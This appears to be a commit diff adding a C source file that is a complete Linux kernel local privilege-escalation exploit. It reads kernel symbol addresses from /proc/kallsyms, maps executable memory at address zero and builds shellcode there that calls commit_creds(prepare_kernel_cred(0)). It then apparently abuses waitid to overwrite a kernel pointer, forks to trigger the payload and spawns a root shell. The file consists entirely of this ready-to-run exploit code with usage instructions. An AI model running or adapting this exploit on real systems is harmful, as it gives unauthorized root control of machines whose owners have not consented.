1
+ #define _GNU_SOURCE
2
+
3
+ #include <stdio.h>
4
+ #include <stdlib.h>
5
+ #include <unistd.h>
6
+ #include <sys/types.h>
7
+ #include <sys/wait.h>
8
+ #include <sys/mman.h>
9
+ #include <string.h>
10
+
11
+ struct cred ;
12
+ struct task_struct ;
13
+
14
+ typedef struct cred * (* prepare_kernel_cred_t ) (struct task_struct * daemon ) __attribute__((regparm (3 )));
15
+ typedef int (* commit_creds_t ) (struct cred * new ) __attribute__((regparm (3 )));
16
+
17
+ prepare_kernel_cred_t prepare_kernel_cred ;
18
+ commit_creds_t commit_creds ;
19
+
20
+ void get_shell () {
21
+ char * argv [] = {"/bin/sh" , NULL };
22
+
23
+ if (getuid () == 0 ){
24
+ printf ("[+] Root shell success !! :)\n" );
25
+ execve ("/bin/sh" , argv , NULL );
26
+ }
27
+ printf ("[-] failed to get root shell :(\n" );
28
+ }
29
+
30
+ void get_root () {
31
+ if (commit_creds && prepare_kernel_cred )
32
+ commit_creds (prepare_kernel_cred (0 ));
33
+ }
34
+
35
+ unsigned long get_kernel_sym (char * name )
36
+ {
37
+ FILE * f ;
38
+ unsigned long addr ;
39
+ char dummy ;
40
+ char sname [256 ];
41
+ int ret = 0 ;
42
+
43
+ f = fopen ("/proc/kallsyms" , "r" );
44
+ if (f == NULL ) {
45
+ printf ("[-] Failed to open /proc/kallsyms\n" );
46
+ exit (-1 );
47
+ }
48
+ printf ("[+] Find %s...\n" , name );
49
+ while (ret != EOF ) {
50
+ ret = fscanf (f , "%p %c %s\n" , (void * * )& addr , & dummy , sname );
51
+ if (ret == 0 ) {
52
+ fscanf (f , "%s\n" , sname );
53
+ continue ;
54
+ }
55
+ if (!strcmp (name , sname )) {
56
+ fclose (f );
57
+ printf ("[+] Found %s at %lx\n" , name , addr );
58
+ return addr ;
59
+ }
60
+ }
61
+ fclose (f );
62
+ return 0 ;
63
+ }
64
+
65
+ int main (int ac , char * * av )
66
+ {
67
+ if (ac != 2 ) {
68
+ printf ("./exploit kernel_offset\n" );
69
+ printf ("exemple = 0xffffffff81f3f45a" );
70
+ return EXIT_FAILURE ;
71
+ }
72
+
73
+ // 2 - Appel de la fonction get_kernel_sym pour rcuperer dans le /proc/kallsyms les adresses des fonctions
74
+ prepare_kernel_cred = (prepare_kernel_cred_t )get_kernel_sym ("prepare_kernel_cred" );
75
+ commit_creds = (commit_creds_t )get_kernel_sym ("commit_creds" );
76
+ // have_canfork_callback offset <= rendre dynamique aussi
77
+
78
+ pid_t pid ;
79
+ /* siginfo_t info; */
80
+
81
+ // 1 - Mapper la mmoire l'adresse 0x0000000000000000
82
+ printf ("[+] Try to allocat 0x00000000...\n" );
83
+ if (mmap (0 , 4096 , PROT_READ |PROT_WRITE |PROT_EXEC ,MAP_ANON |MAP_PRIVATE |MAP_FIXED , -1 , 0 ) == (char * )-1 ){
84
+ printf ("[-] Failed to allocat 0x00000000\n" );
85
+ return -1 ;
86
+ }
87
+ printf ("[+] Allocation success !\n" );
88
+ /* memset(0, 0xcc, 4096); */
89
+ /*
90
+ movq rax, 0xffffffff81f3f45a
91
+ movq [rax], 0
92
+ mov rax, 0x4242424242424242
93
+ call rax
94
+ xor rax, rax
95
+ ret
96
+ replace 0x4242424242424242 by get_root
97
+ https://defuse.ca/online-x86-assembler.htm#disassembly
98
+ */
99
+ unsigned char shellcode [] =
100
+ { 0x48 , 0xC7 , 0xC0 , 0x5A , 0xF4 , 0xF3 , 0x81 , 0x48 , 0xC7 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x48 , 0xB8 , 0x42 , 0x42 , 0x42 , 0x42 , 0x42 , 0x42 , 0x42 , 0x42 , 0xFF , 0xD0 , 0x48 , 0x31 , 0xC0 , 0xC3 };
101
+ void * * get_root_offset = rawmemchr (shellcode , 0x42 );
102
+ (* get_root_offset ) = get_root ;
103
+
104
+ memcpy (0 , shellcode , sizeof (shellcode ));
105
+ /* strcpy(0, "\x48\x31\xC0\xC3"); // xor rax, rax; ret */
106
+
107
+ if (-1 == (pid = fork ())) {
108
+ perror ("fork()" );
109
+ return EXIT_FAILURE ;
110
+ }
111
+
112
+ if (pid == 0 ) {
113
+ _exit (0xDEADBEEF );
114
+ perror ("son" );
115
+ return EXIT_FAILURE ;
116
+ }
117
+
118
+ siginfo_t * ptr = (siginfo_t * )strtoul (av [1 ], (char * * )0 , 0 );
119
+ waitid (P_PID , pid , ptr , WEXITED | WSTOPPED | WCONTINUED );
120
+
121
+ // TRIGGER
122
+ pid = fork ();
123
+ printf ("fork_ret = %d\n" , pid );
124
+ if (pid > 0 )
125
+ get_shell ();
126
+ return EXIT_SUCCESS ;
127
+ }
0 commit comments